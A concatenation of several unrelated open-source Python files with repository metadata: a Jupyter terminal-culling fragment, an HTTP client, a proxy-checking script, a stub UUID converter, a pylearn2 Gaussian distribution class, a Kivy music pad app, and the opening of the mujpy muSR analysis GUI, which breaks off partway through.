for name in list(self.terminals):
try:
await self._cull_inactive_terminal(name)
except Exception as e:
self.log.exception("The following exception was encountered while checking the "
"activity of terminal {}: {}".format(name, e))
async def _cull_inactive_terminal(self, name):
try:
term = self.terminals[name]
except KeyError:
return # KeyErrors are somewhat expected since the terminal can be terminated as the culling check is made.
self.log.debug("name=%s, last_activity=%s", name, term.last_activity)
if hasattr(term, 'last_activity'):
dt_now = utcnow()
dt_inactive = dt_now - term.last_activity
# Compute idle properties
is_time = dt_inactive > timedelta(seconds=self.cull_inactive_timeout)
# Cull the kernel if all three criteria are met
if (is_time):
inactivity = int(dt_inactive.total_seconds())
self.log.warning("Culling terminal '%s' due to %s seconds of inactivity.", name, inactivity)
await self.terminate(name, force=True)
| {
"repo_name": "sserrot/champion_relationships",
"path": "venv/Lib/site-packages/notebook/terminal/terminalmanager.py",
"copies": "1",
"size": "6303",
"license": "mit",
"hash": -909579986255001200,
"line_mean": 40.7417218543,
"line_max": 120,
"alpha_frac": 0.6054259876,
"autogenerated": false,
"ratio": 4.40461215932914,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 0.551003814692914,
"avg_score": null,
"num_lines": null
} |
""" A multithreaded, keep-alive HTTP/1.1 client object that can handle multiple
connections.
"""
import socket
import select
try:
from urllib.parse import urlencode, quote
except ImportError:
from urllib import urlencode, quote
from atavism import __version__
from atavism.http11.objects import HttpRequest, HttpResponse
from atavism.http11.cookies import CookieJar
class HttpClientError(Exception):
pass
class HttpClient(object):
""" Http Client class. Implements an HTTP 1.1 client which uses keepalive by default.
Requests can always be made, but may block if another request is being processed.
"""
TIMEOUT = 5.0
def __init__(self, host, port=80):
self.host = host
self.port = port
self.socket = None
self.cookies = CookieJar()
self.user_agent = 'atavism/{}'.format(__version__)
self.timeout = self.TIMEOUT
self._buffer = b''
if isinstance(self.host, bytes):
self.host = self.host.decode()
def __del__(self):
self._close_socket()
def host_str(self):
if self.port == 80:
return self.host
return "{}:{}".format(self.host, self.port)
# def add_cookie(self, key, value, path='/'):
# self.cookies.set_cookie(key, value, path)
def verify(self):
""" Verify that the client is able to establish a connection to the server.
NB This will not start the listener thread.
:return: True or False
"""
self._make_socket()
if self.socket is not None:
return True
def simple_request(self, uri=None, qry=None):
""" Really, really simple GET request. This will not follow redirects and for anything but a
200 response will return None.
:param uri: The server URI to GET
:param qry: Optional query string to append.
:return: The content of the response or None.
"""
resp = self.request(uri, qry)
return resp.decoded_content()
def download_file(self, uri, filename):
resp = self.request(uri)
if resp is None:
return False
if resp.code != 200:
raise HttpClientError("Unable to download file. Error code {}".format(resp.code))
with open(filename, 'wb') as fh:
fh.write(resp.content)
return True
def request(self, uri, qry=None):
return self._make_send_request('GET', uri, qry=qry)
def post_data(self, uri, qry=None, data=None, ct=None):
""" Submit a POST request with the supplied data. """
if ct is None and data is not None and len(data) > 0:
ct = 'application/x-www-form-urlencoded'
hdrs = {'Content-Type': ct}
if data is not None:
if ct == 'text/parameters':
data = "\r\n".join("{}: {}".format(k, data[k]) for k in data) + "\r\n"
elif isinstance(data, dict):
data = urlencode(data).encode()
return self._make_send_request('POST', uri, qry=qry, data=data, hdrs=hdrs)
def _make_url(self, path, query=None):
if path is None or len(path) == 0:
path = b'/'
else:
path = quote(path)
if query is not None:
if isinstance(query, dict):
query = urlencode(query)
if '?' in path:
return path + query
return path + '?' + query
return path
def create_request(self, method, uri='/', qry=None, hdrs=None):
req = HttpRequest(method=method, path=self._make_url(uri, qry))
req.add_headers(hdrs or {})
cookies = self.cookies.get_cookies(uri)
if cookies is not None:
req.add_header('Cookie', cookies)
return req
def _make_send_request(self, method, uri='/', qry=None, data=None, hdrs=None):
req = self.create_request(method, uri, qry=qry, hdrs=hdrs)
if data is not None:
req.add_content(data)
return self.send_request(req)
def send_request(self, request):
self._make_socket()
if self.socket is None:
return None
request.add_headers({'Host': self.host_str(),
'Accept-Encoding': 'identity, gzip'})
if self.user_agent:
request.add_header('User-Agent', self.user_agent)
request.complete()
response = self._process_request(request)
if response is None:
raise HttpClientError("No response received from remote server.")
return response
def _make_socket(self):
""" Create a new connected socket.
:raise HttpClientError:
"""
if self.socket is None:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)
sock.settimeout(5)
try:
sock.connect((str(self.host), self.port))
sock.settimeout(30)
self.socket = sock
except socket.error:
raise HttpClientError("Attempt to connect to '{}' on port {} failed".format(self.host, self.port))
except socket.timeout:
raise HttpClientError("Attempt to connect to '{}' on port {} timed out".format(self.host, self.port))
except socket.gaierror:
raise HttpClientError("Unable to resolve host '{}'".format(self.host))
def _close_socket(self):
if self.socket is not None:
self.socket.close()
self.socket = None
self._buffer = b''
def _process_request(self, request):
""" Process a single request.
:return: None or the HttpResponse
"""
self._make_socket()
# Send the entire request...
while not request.send_complete():
data = request.next_output()
# print("send({})".format(data))
if len(data) == 0:
break
try:
r, w, e = select.select([], [self.socket], [self.socket], self.timeout)
except socket.error:
print("Select failed for socket - trying to reestablish...")
self._close_socket()
request.reset()
return self._process_request(request)
if len(e) > 0:
raise HttpClientError("Socket reported an error.")
elif len(w) == 0:
raise HttpClientError("Socket timed out for write operations. Unable to send request.")
n = self.socket.send(data)
if n == 0:
print("Unable to send data")
break
if not request.send_complete():
raise HttpClientError("Unable to send the request.")
# Receive the whole response...
response = HttpResponse(self._buffer)
while not response.is_complete():
r, w, e = select.select([self.socket], [], [self.socket], self.timeout)
if len(e):
self._close_socket()
break
if len(r):
data = self.socket.recv(2048)
if len(data) == 0:
response.mark_complete()
break
self._buffer += data
# print(self._buffer)
r = response.read_content(self._buffer)
self._buffer = self._buffer[r:]
if response.is_complete():
break
if response.is_complete():
self.cookies.check_cookies(response)
if not response.is_keepalive:
self._close_socket()
return response
return None
| {
"repo_name": "zathras777/atavism",
"path": "atavism/http11/client.py",
"copies": "1",
"size": "7740",
"license": "unlicense",
"hash": 5187530142344715000,
"line_mean": 33.7085201794,
"line_max": 117,
"alpha_frac": 0.5572351421,
"autogenerated": false,
"ratio": 4.255085211654755,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 1,
"avg_score": 0.0006807406937960177,
"num_lines": 223
} |
""" A multithreaded proxy checker
Given a file containing proxies, per line, in the form of ip:port, will attempt
to establish a connection through each proxy to a provided URL. Duration of
connection attempts is governed by a passed in timeout value. Additionally,
spins off a number of daemon threads to speed up processing using a passed in
threads parameter. Proxies that passed the test are written out to a file
called results.txt
Usage:
goodproxy.py [-h] -file FILE -url URL [-timeout TIMEOUT] [-threads THREADS]
Parameters:
-file -- filename containing a list of ip:port per line
-url -- URL to test connections against
-timeout -- attempt time before marking that proxy as bad (default 1.0)
-threads -- number of threads to spin off (default 16)
Functions:
get_proxy_list_size -- returns the current size of the proxy holdingQueue
test_proxy -- does the actual connecting to the URL via a proxy
main -- creates daemon threads, write results to a file
"""
import argparse
import queue
import socket
import sys
import threading
import time
import urllib.request
def get_proxy_list_size(proxy_list):
""" Return the current Queue size holding a list of proxy ip:ports """
return proxy_list.qsize()
def test_proxy(url, url_timeout, proxy_list, lock, good_proxies, bad_proxies):
""" Attempt to establish a connection to a passed in URL through a proxy.
This function is used in a daemon thread and will loop continuously while
waiting for available proxies in the proxy_list. Once proxy_list contains
a proxy, this function will extract that proxy. This action automatically
lock the queue until this thread is done with it. Builds a urllib.request
opener and configures it with the proxy. Attempts to open the URL and if
successsful then saves the good proxy into the good_proxies list. If an
exception is thrown, writes the bad proxy to a bodproxies list. The call
to task_done() at the end unlocks the queue for further processing.
"""
while True:
# take an item from the proxy list queue; get() auto locks the
# queue for use by this thread
proxy_ip = proxy_list.get()
# configure urllib.request to use proxy
proxy = urllib.request.ProxyHandler({'http': proxy_ip})
opener = urllib.request.build_opener(proxy)
urllib.request.install_opener(opener)
# some sites block frequent querying from generic headers
request = urllib.request.Request(
url, headers={'User-Agent': 'Proxy Tester'})
try:
# attempt to establish a connection
urllib.request.urlopen(request, timeout=float(url_timeout))
# if all went well save the good proxy to the list
with lock:
good_proxies.append(proxy_ip)
except (urllib.request.URLError,
urllib.request.HTTPError,
socket.error):
# handle any error related to connectivity (timeouts, refused
# connections, HTTPError, URLError, etc)
with lock:
bad_proxies.append(proxy_ip)
finally:
proxy_list.task_done() # release the queue
def main(argv):
""" Main Function
Uses argparse to process input parameters. File and URL are required while
the timeout and thread values are optional. Uses threading to create a
number of daemon threads each of which monitors a Queue for available
proxies to test. Once the Queue begins populating, the waiting daemon
threads will start picking up the proxies and testing them. Successful
results are written out to a results.txt file.
"""
proxy_list = queue.Queue() # Hold a list of proxy ip:ports
lock = threading.Lock() # locks good_proxies, bad_proxies lists
good_proxies = [] # proxies that passed connectivity tests
bad_proxies = [] # proxies that failed connectivity tests
# Process input parameters
parser = argparse.ArgumentParser(description='Proxy Checker')
parser.add_argument(
'-file', help='a text file with a list of proxy:port per line',
required=True)
parser.add_argument(
'-url', help='URL for connection attempts', required=True)
parser.add_argument(
'-timeout',
type=float, help='timeout in seconds (defaults to 1', default=1)
parser.add_argument(
'-threads', type=int, help='number of threads (defaults to 16)',
default=16)
args = parser.parse_args(argv)
# setup daemons ^._.^
for _ in range(args.threads):
worker = threading.Thread(
target=test_proxy,
args=(
args.url,
args.timeout,
proxy_list,
lock,
good_proxies,
bad_proxies))
worker.setDaemon(True)
worker.start()
start = time.time()
# load a list of proxies from the proxy file
with open(args.file) as proxyfile:
for line in proxyfile:
proxy_list.put(line.strip())
# block main thread until the proxy list queue becomes empty
proxy_list.join()
# save results to file
with open("result.txt", 'w') as result_file:
result_file.write('\n'.join(good_proxies))
# some metrics
print("Runtime: {0:.2f}s".format(time.time() - start))
if __name__ == "__main__":
main(sys.argv[1:])
| {
"repo_name": "maxpalpal/permanrkee",
"path": "svma.py",
"copies": "1",
"size": "5486",
"license": "mit",
"hash": -5173113095806544000,
"line_mean": 33.2875,
"line_max": 79,
"alpha_frac": 0.657127233,
"autogenerated": false,
"ratio": 4.350515463917525,
"config_test": true,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 1,
"avg_score": 0,
"num_lines": 160
} |
""" a multithreaded UUID converter
"""
from multiprocessing import Pool
import sys
import os
import math
import urllib2
import json
import time
import shutil
import uuid
from nbt import nbt
def chunks(l, n):
""" Yield successive n-sized chunks from l.
"""
for i in xrange(0, len(l), n):
yield l[i:i+n]
# how many to convert at a time
CONVERT_COUNT = 20
# URL to the data API
API_URL = "https://api.mojang.com/profiles/minecraft"
pool = Pool(5)
def create_folders(path):
player_data_path = os.path.join(path, 'players')
target_data_path = os.path.join(path, 'playerdata')
missing_data_path = os.path.join(path, 'players.missing')
converted_data_path = os.path.join(path, 'players.converted')
invalid_data_path = os.path.join(path, 'players.invalid')
def get_chunks(player_files):
""" splits a list of files into manageable chunks of names
"""
return chunks(player_files, CONVERT_COUNT)
def convert_uuid(player_data):
pass
# this does nothing
def process_chunk(chunk):
""" converts a chunk of player.dat files and returns UUID
"""
payload = []
# this does nothing
def convert(source_path, target_path):
# stores a player name and file path
player_files = {}
if not os.path.isdir(source_path):
print 'Path is not directory or does not exist: {}'.format(source_path)
return False
# get a list of files in source_path
file_list = os.listdir(source_path)
# store the player name and file path for each player
for player_file in file_list:
if player_file.endswith('.dat'):
file_name = os.path.basename(player_file)
name = os.path.splitext(file_name)[0].lower()
player_files[name] = os.path.join(source_path, file_name)
if not player_files:
sys.stderr.write('No player data found!\n')
return False
# splits data up into chunks of 30 to send to worker threads
data_chunks = get_chunks(player_files)
for chunk in data_chunks:
# TODO: run this with multiprocessing
process_chunk(chunk)
| {
"repo_name": "lukeroge/multithreaded_uuid_converter",
"path": "convert.py",
"copies": "1",
"size": "2111",
"license": "cc0-1.0",
"hash": 8016012145342574000,
"line_mean": 23.5465116279,
"line_max": 79,
"alpha_frac": 0.6603505448,
"autogenerated": false,
"ratio": 3.5658783783783785,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 0.4726228923178379,
"avg_score": null,
"num_lines": null
} |
"""A Multivariate Normal Distribution."""
__authors__ = "Ian Goodfellow"
__copyright__ = "Copyright 2010-2012, Universite de Montreal"
__credits__ = ["Ian Goodfellow"]
__license__ = "3-clause BSD"
__maintainer__ = "LISA Lab"
__email__ = "pylearn-dev@googlegroups"
import warnings
try:
from scipy.linalg import cholesky, det, solve
except ImportError:
warnings.warn("Could not import some scipy.linalg functions")
import theano.tensor as T
from theano import config
from pylearn2.utils import sharedX
from pylearn2.utils.rng import make_theano_rng
import numpy as np
N = np
class MND(object):
"""
A Multivariate Normal Distribution
.. todo::
WRITEME properly
Parameters
-----------
sigma : WRITEME
A numpy ndarray of shape (n,n)
mu : WRITEME
A numpy ndarray of shape (n,)
seed : WRITEME
The seed for the theano random number generator used to sample from
this distribution
"""
def __init__(self, sigma, mu, seed=42):
self.sigma = sigma
self.mu = mu
if not (len(mu.shape) == 1):
raise Exception('mu has shape ' + str(mu.shape) +
' (it should be a vector)')
self.sigma_inv = solve(self.sigma, N.identity(mu.shape[0]),
sym_pos=True)
self.L = cholesky(self.sigma)
self.s_rng = make_theano_rng(seed, which_method='normal')
#Compute logZ
#log Z = log 1/( (2pi)^(-k/2) |sigma|^-1/2 )
# = log 1 - log (2pi^)(-k/2) |sigma|^-1/2
# = 0 - log (2pi)^(-k/2) - log |sigma|^-1/2
# = (k/2) * log(2pi) + (1/2) * log |sigma|
k = float(self.mu.shape[0])
self.logZ = 0.5 * (k * N.log(2. * N.pi) + N.log(det(sigma)))
def free_energy(self, X):
"""
.. todo::
WRITEME
"""
#design matrix format
return .5 * T.sum(T.dot(X - self.mu,
T.dot(self.sigma_inv,
T.transpose(X - self.mu))))
def log_prob(self, X):
"""
.. todo::
WRITEME
"""
return - self.free_energy(X) - self.logZ
def random_design_matrix(self, m):
"""
.. todo::
WRITEME
"""
Z = self.s_rng.normal(size=(m, self.mu.shape[0]),
avg=0., std=1., dtype=config.floatX)
return self.mu + T.dot(Z, self.L.T)
def fit(dataset, n_samples=None):
"""
.. todo::
WRITEME properly
Returns an MND fit to n_samples drawn from dataset.
Not a class method because we currently don't have a means
of calling class methods from YAML files.
"""
if n_samples is not None:
X = dataset.get_batch_design(n_samples)
else:
X = dataset.get_design_matrix()
return MND(sigma=N.cov(X.T), mu=X.mean(axis=0))
class AdditiveDiagonalMND:
"""
A conditional distribution that adds gaussian noise with diagonal precision
matrix beta to another variable that it conditions on
Parameters
----------
init_beta : WRITEME
nvis : WRITEME
"""
def __init__(self, init_beta, nvis):
self.__dict__.update(locals())
del self.self
self.beta = sharedX(np.ones((nvis,))*init_beta)
assert self.beta.ndim == 1
self.s_rng = make_theano_rng(None, 17, which_method='normal')
def random_design_matrix(self, X):
"""
.. todo::
WRITEME properly
Parameters
----------
X : WRITEME
A theano variable containing a design matrix of
observations of the random vector to condition on.
"""
Z = self.s_rng.normal(size=X.shape,
avg=X, std=1./T.sqrt(self.beta), dtype=config.floatX)
return Z
def is_symmetric(self):
"""
.. todo::
WRITEME properly
A property of conditional distributions
P(Y|X)
Return true if P(y|x) = P(x|y) for all x,y
"""
return True
| {
"repo_name": "skearnes/pylearn2",
"path": "pylearn2/distributions/mnd.py",
"copies": "49",
"size": "4113",
"license": "bsd-3-clause",
"hash": -1307722034890113000,
"line_mean": 25.535483871,
"line_max": 83,
"alpha_frac": 0.537563822,
"autogenerated": false,
"ratio": 3.7221719457013576,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 1,
"avg_score": null,
"num_lines": null
} |
''' A music pad application for tablets
'''
from kivy.app import App
from kivy.uix.button import Button
from kivy.properties import NumericProperty, StringProperty, BooleanProperty
from ConfigParser import SafeConfigParser
from json import JSONDecoder
from kivy.core.audio import SoundLoader
from kivy.animation import Animation
from functools import partial
JSON_DECODER = JSONDecoder().raw_decode
CONFIG = SafeConfigParser()
CONFIG.read(('.default_config.ini', 'config.ini', ))
class PlayButton(Button):
''' a button to play sound
'''
sound = StringProperty('')
#toggle = BooleanProperty('')
loop = BooleanProperty(False)
fadein = NumericProperty(0)
fadeout = NumericProperty(0)
volume = NumericProperty(1)
def on_sound(self, *args):
self._sound = SoundLoader.load(self.sound)
self._sound.loop = self.loop
self._sound.bind(on_stop=self.state_normal)
self._sound.bind(on_play=self.state_down)
def on_loop(self, *args):
self._sound.loop = self.loop
def state_normal(self, *args):
self.state = 'normal'
def state_down(self, *args):
self.state = 'down'
def on_touch_down(self, touch, *args):
if self.collide_point(*touch.pos):
if not hasattr(self, '_sound') or self.state == 'down' and not self.loop:
return
if self.loop and self.state == 'down':
if self.fadeout:
a = Animation(volume=0, d=self.fadeout)
a.bind(on_complete=lambda *x: self._sound.stop())
a.start(self._sound)
else:
self._sound.stop()
elif self.fadein:
self._sound.volume = 0
a = Animation(volume=self.volume, d=self.fadein)
a.start(self._sound)
self._sound.play()
if self.fadeout:
a = Animation(d=self._sound.length - self.fadeout) + Animation(volume=0, d=self.fadeout)
a.start(self._sound)
else:
self._sound.play()
else:
return super(PlayButton, self).on_touch_down(touch, *args)
def on_touch_up(self, touch, *args):
pass
class MusicPad(App):
''' see module documentation
'''
width = NumericProperty()
height = NumericProperty()
def build(self):
root = super(MusicPad, self).build()
self.width = int(CONFIG.get('default', 'width'))
self.height = int(CONFIG.get('default', 'height'))
return root
def on_width(self, *args):
'''
'''
self.root.clear_widgets()
for i in range(self.height):
for j in range(self.width):
_id = '%s_%s' % (i, j)
print _id
c = {}
if CONFIG.has_option('buttons', _id):
options = CONFIG.get('buttons', _id)
for k, v in JSON_DECODER(options)[0].items():
c[str(k)] = v
w = PlayButton(**c)
self.root.add_widget(w)
def on_height(self, *args):
'''
'''
self.on_width(*args)
def on_stop(self):
self.on_pause()
def on_pause(self):
with open('config.ini', 'w') as f:
CONFIG.write(f)
return True
def on_resume(self):
return True
if __name__ == '__main__':
MusicPad().run()
| {
"repo_name": "tshirtman/music_pad",
"path": "main.py",
"copies": "1",
"size": "3485",
"license": "mit",
"hash": -5218807446825476000,
"line_mean": 26.88,
"line_max": 108,
"alpha_frac": 0.5451936872,
"autogenerated": false,
"ratio": 3.808743169398907,
"config_test": true,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 0.4853936856598907,
"avg_score": null,
"num_lines": null
} |
'''A musr analysis class
Notes
starts from init, the rest is operated by gui ipywidgets
output for linux; Popen _xterm_ and tail -f /tmp/mujpy_pipe
then self.console(string) takes care of writing strings to pipe
Jupyterlab provides a way of writing stderr to console
description_tooltip in ipywidgets >7.3 should for all items with description
as of 7.5 buttons still require "tooltip" instead of "description_tooltip"
Gui tabs correspond to distinct gui methods with independes scopes and additional local methods
gui attributes:
entities that must be shared between tabs
including variables passed to functions outside mugui
Implementation of multi fit::
# logical logical list of lists of musr2py instances
# type of fit | self._global_ |self._single_ | len(self._the_runs_)
#-------------------------------------------------------
# single | False | True | 1 (e.g. [[run234]] or [[run234,run235]] (adds data of two runs)
# suite | False | False | >1
#-------------------------------------------------------
asymmetry loads single runs, both for single and for suite fit
# python2 would require # utf-8
'''
class mugui(object):
'''
The main method is gui, that designs a tabbed gui. Planned to be run in a Jupyter notebook.
Public methods correspond to the main tabs (fft, fit, setup, suite, ...).
Other public methods produce the fundamental data structure (asymmetry)
or common functions (plot). Their nested methods are not documented by sphynx.
One tab handles (badly) the text output, mixing error messages and fit results.
function __init__(self)
* initiates an instance and a few attributes,
* launches the gui.
* Use as follows::
from mugui import mugui as MG
MuJPy = MG() # instance is MuJPy
'''
##########################
# INIT
##########################
def __init__(self):
'''
* Initiates an instance and a few attributes,
* launches the gui.
* Use a template notebook, basically as follows::
from mugui import mugui as MG
MuJPy = MG() # instance is MuJPy
'''
# only constant used here, all others in mujpy.mucomponents
self.TauMu_mus = 2.1969811 # number is from Particle Data Group 2017 (not in scipy.constants.physical_constants)
# print('__init__ now ...')
self.initialize_mujpy()
def initialize_mujpy(self):
from mujpy import __file__ as MuJPyName
import numpy as np
import os
from IPython.display import display
# some initializations
self.offset0 = 7 # initial value
self.offset = [] # this way the first run load calculates get_totals with self.offset0
self.firstbin = 0
# These three RELOCATED TO promptfit local variables
# self.second_plateau = 100
# self.peakheight = 100000.
# self.peakwidth = 1. # rough guesses for default
self.histoLength = 7900 # initialize
self.bin_range0 = '0,500' # initialize (for plots, counter inspection)
self.nt0_run = []
self._global_ = False
self.thermo = 1 # sample thermometer is 1 on gps (check or adapt to other instruments)
self.binwidth_ns = [] # this way the first call to asymmetry(_the_runs_) initializes self.time
self.grouping = {'forward':np.array([1]),'backward':np.array([0])} # normal dict
self._the_runs_ = [] # if self._the_runs_: is False, to check whether the handle is created
self.first_t0plot = True
self.fitargs = [] # initialize
# mujpy paths
self.__path__ = os.path.dirname(MuJPyName)
self.__logopath__ = os.path.join(self.__path__,"logo")
self.__startuppath__ = os.getcwd() # working directory, in which, in case, to find mujpy_setup.pkl
# mujpy layout
self.button_color = 'lightblue'
self.button_color_off = 'gray'
self.border_color = 'dodgerblue'
self.newtlogdir = True
# print('...finshed initializing')
##########################################
# This actually produces the gui interface
# with tabs:
# suite fit fft plots setup [output] about
##########################################
# print('Got here: create gui')
self.output() # this calls output(self) that defines self._output_
# must be called first!
# either it launches a detached os terminal or it adds a tab
self.gui()
self.setup()
#####################################
# static figures
#####################################
self.fig_fft = [] # initialize to false, it will become a pyplot.subplots instance
self.fig_multiplot = []
self.fig_counters = []
self.fit()
self.fft()
self.plots()
self.about()
#self.fig_fit = [] # (initialize to false), now not ititialized
try:
whereamI = get_ipython().__class__
if not str(whereamI).find('erminal')+1:
display(self.gui) # you are in a Jupyter notebook
else:
print(str(wheremI)) # you are in an ipython terminal
except:
print('Python test script') # other option?
##########################
# ABOUT
##########################
def about(self):
'''
about tab:
- a few infos (version and authors)
'''
from ipywidgets import Textarea, Layout
_version = 'MuJPy version '+'1.0' # increment while progressing
_authors = '\n\n Authors: Roberto De Renzi, Pietro Bonfà (*)'
_blahblah = ('\n\n A Python MuSR data analysis graphical interface.'+
'\n Based on classes, designed for jupyter.'+
'\n Released under the MIT licence')
_pronounce = ('\n See docs in ReadTheDocs'+
'\n Pronounce it as mug + pie')
_additional_credits_ = ('\n ---------------------\n (*) dynamic Kubo-Toyabe algorithm by G. Allodi\n MuSR_td_PSI by A. Amato and A.-R. Raselli \n acme algorithm code from NMRglue, by Jonathan J. Helmus')
_about_text = _version+_blahblah+_pronounce+_authors+_additional_credits_
_about_area = Textarea(value=_about_text,
placeholder='Info on MuJPy',
layout=Layout(width='98%',height='250px'),
disabled=True)
# now collect the handles of the three horizontal frames to the main fit window (see tabs_contents for index)
if self._output_==self._outputtab_:
self.mainwindow.children[4].children = self._park_ # was parked here in self.output
self.mainwindow.children[4].layout = Layout(border = '2px solid dodgerblue',width='100%')
self.mainwindow.children[5].children = [_about_area] # add the list of widget handles as the third tab, fit
self.mainwindow.children[5].layout = Layout(border = '2px solid dodgerblue',width='100%')
else:
self.mainwindow.children[4].children = [_about_area] # add the list of widget handles as the third tab, fit
self.mainwindow.children[4].layout = Layout(border = '2px solid dodgerblue',width='100%')
##########################
# ASYMMETRY
##########################
def asymmetry(self):
"""
* defines self.time, generates asymmetry end error without rebinning,
* all are 2D numpy arrays, shape of self.time is (1,nbins), of self.asymm, self.asyme are (nruns, nbins)
* self._the_runs_ is a list of lists of musr2py (psi loading routine) instances
* inner list is for adding runs
* outer list is suites of runs
may be treated equally by a double for loop (single, no addition implies that k,j=0,0)
- returns 0 if ok and -1 if an error is encountered
"""
import numpy as np
# no checks, consistency in binWidth and numberHisto etc are done with run loading
self.numberHisto = self._the_runs_[0][0].get_numberHisto_int()
self.histoLength = self._the_runs_[0][0].get_histoLength_bin() - self.nt0.max() - self.offset.value # max available bins on all histos
self.firstrun = True
self.binwidth_ns = self._the_runs_[0][0].get_binWidth_ns()
time = (np.arange(self.histoLength) + self.offset.value +
np.mean(self.dt0 [np.append(self.grouping['forward'],self.grouping['backward'])] )
)*self.binwidth_ns/1000. # in microseconds, 1D np.array
self.time = np.array([time]) # in microseconds, 2D np.array
##################################################################################################
# Time definition:
# 1) Assume the prompt is entirely in bin self.nt0. (python convention, the bin index is 0,...,n,...
# The content of bin self.nt0 will be the t=0 value for this case and self.dt0 = 0.
# The center of bin self.nt0 will correspond to time t = 0, time = (n-self.nt0 + self.offset.value + self.dt0)*mufit.binWidth_ns/1000.
# 2) Assume the prompt is equally distributed between n and n+1. Then self.nt0 = n and self.dt0 = 0.5, the same formula applies
# 3) Assume the prompt is 0.45 in n and 0.55 in n+1. Then self.nt0 = n+1 and self.dt0 = -0.45, the same formula applies.
##################################################################################################
# calculate asymmetry in y and error in ey
M = self.lastbin-self.firstbin+1 # number of pre-prompt bins for background average
for k, runs in enumerate(self._the_runs_): # initialize to zero
yforw = np.zeros(time.shape[0]) # counts with background substraction
cforw = np.zeros(time.shape[0]) # corrected counts for Poisson errors
ybackw = np.zeros(time.shape[0]) # counts with background substraction
cbackw = np.zeros(time.shape[0]) # corrected counts for Poisson errors
for j, run in enumerate(runs):
for counter in self.grouping['forward']: # first good bin, last good bin from data attay start
n1, n2 = self.nt0[counter] + \
self.offset.value, self.nt0[counter] + \
self.offset.value + \
self.histoLength
# set in suite.run_headers as max common good data length
histo = run.get_histo_array_int(counter) # counter data array in forw group
background = np.mean(histo[self.firstbin:self.lastbin]) # from prepromt estimate
yforw += histo[n1:n2]-background # background subtracted add to others
cforw += abs(histo[n1:n2]-background*(1-1/M)) # add with correction, see error eval box
background_b = 0.
for counter in self.grouping['backward']: # first good bin, last good bin from data attay start
n1, n2 = self.nt0[counter]+self.offset.value,self.nt0[counter]+self.offset.value+self.histoLength
# set in suite.run_headers as max common good data length
histo = run.get_histo_array_int(counter) # counter data array in back group
background = np.mean(histo[self.firstbin:self.lastbin]) # from prepromt estimate
ybackw += histo[n1:n2]-background # background subtracted add to others
cbackw += abs(histo[n1:n2]-background*(1-1/M)) # add with correction, see error eval box
yplus = yforw + float(self.alpha.value)*ybackw # denominator
x = np.exp(-time/self.TauMu_mus) # pure muon decay
enn0 = np.polyfit(x,yplus,1) # fit of initial count rate plus average background vs. decay
enn0 = enn0[0] # initial rate per ns
y = (yforw-float(self.alpha.value)*ybackw)/enn0*np.exp(time/self.TauMu_mus) # since time is an np.arange, this is a numpy array
# A(t) = y with corrected counts Nfc(t) = Nf(t) - bf = yforw, Nbc(t) = Nb(t) - bb = ybackw
# until 11-2020 error evaluated as Poissonian in Nf, Nb, wrong since Njc and bj j=f,b are independent
# from 11-2020 correction thanks to Giuseppe Allodi for pointing this out
# and Andreas Suter, inspiring through musrfit bitbucker code
# Nf(t) = cforw , Nb(t) = cbackw # whereas yield
#########################################################
# error evaluation: #
# A = d [Nfc(t) - alpha Nbc(t)] = d a(t) with #
# d = 1/[2N0e(-t/tau)], Nfc = Nf -bf, Nbc = Nb - bb #
# eNfc = sqrt(|Nf-bf|), eNbc = sqrt(|Nb-bb|) #
# ebf = sqrt(bf/M), ebb= sqrt(bb/M) b = M sum_i^M bi #
# sum_i^M b_i = Mb e_sum = sqrt(Mb) eb = 1/M e_sum #
# error propagation: #
# |da/dNfc| = |da/dbf| = 1, |da/dNbc| = |da/dbb|= alpha #
# eA/d = sqrt[(|da/dNfc|eNfc)^2 + (|da/dbf|ebf)^2) + #
# sqrt[(|da/dNb|eNb)^2 + (|da/dbb|ebb)^2) #
# eA = d sqrt[Nf - bf(1-1/M) + alpha^2(Nb - bb(1-1/M))] #
#########################################################
# the correction happens in cforw, cbackw above
ey = np.sqrt(cforw + float(self.alpha.value)**2*cbackw) \
*np.exp(time/self.TauMu_mus)/enn0 #
# May never happen but ey cannot be zero since fcn = sum_bin ((y_bin-y_th)/ey)**2
# The definition contains a difference
# of independent terms: histo - background*(1-1/M), in both cforw, cbackw
# Set to 1 the minimum error (weights less very few points closer to ~ zero)
ey[np.where(ey==0)] = 1 # substitute 0 with 1 in ey
if self._single_: # len(self._the_runs_)==1 and k=0
self.asymm = np.array([y]) # 2D np.array
self.asyme = np.array([ey]) # 2D np.array
self.nrun = [runs[0].get_runNumber_int()]
else: # the first call of the suite the master, resets binwidth_ns, hence self.firstrun=True
if self.firstrun:
self.asymm = y # 1D np.array
self.asyme = ey # idem
self.firstrun = False
self.nrun = [runs[0].get_runNumber_int()]
else:
self.asymm = np.row_stack((self.asymm, y)) # columns are times, rows are successive runs (for multiplot and global)
self.asyme = np.row_stack((self.asyme, ey))
self.nrun.append(runs[0].get_runNumber_int()) # this is a list
######################################################
# self.nrun contains only the first run in case of run addition
# used by save_fit (in file name),
# write_csv (first item is run number)
# animate (multiplot)
######################################################
# self.console('1st, last = {},{} bin for bckg subtraction'.format(self.firstbin,self.lastbin)) #dbg
#########
# CONSOLE
#########
def console(self,string,end = '\n'):
'''
printed output method::
if self._output_ == self._outputtab_ prints on tab
and sets self.mainwindow.selected_index = 5
otherwise writes on terminal
'''
if self._output_ == self._outputtab_:
with self._output_:
print(string)
self.mainwindow.selected_index = 5
else:
p = open(self._output_,'w')
p.write(''.join([string,end]))
p.close()
###################
# CONSOLE TRACEBACK (to be deleted)
####################
# def console_trcbk(self):
# '''
# method to print traceback in console
# '''
# import sys, traceback
# if self._output_ == self._outputtab_:
# with self._output_:
# raise
# self.mainwindow.selected_index = 5
# else:
# p = open(self._output_,'w')
# formatted_lines = traceback.format_exc().splitlines()
# for string in formatted_lines:
# p.write(''.join([string,'\n']))
# p.close()
##########################
# CREATE_RUNDICT
##########################
def create_rundict(self,k=0):
'''
creates a dictionary rundict to identify and compare runs;
refactored for adding runs
'''
rundict={}
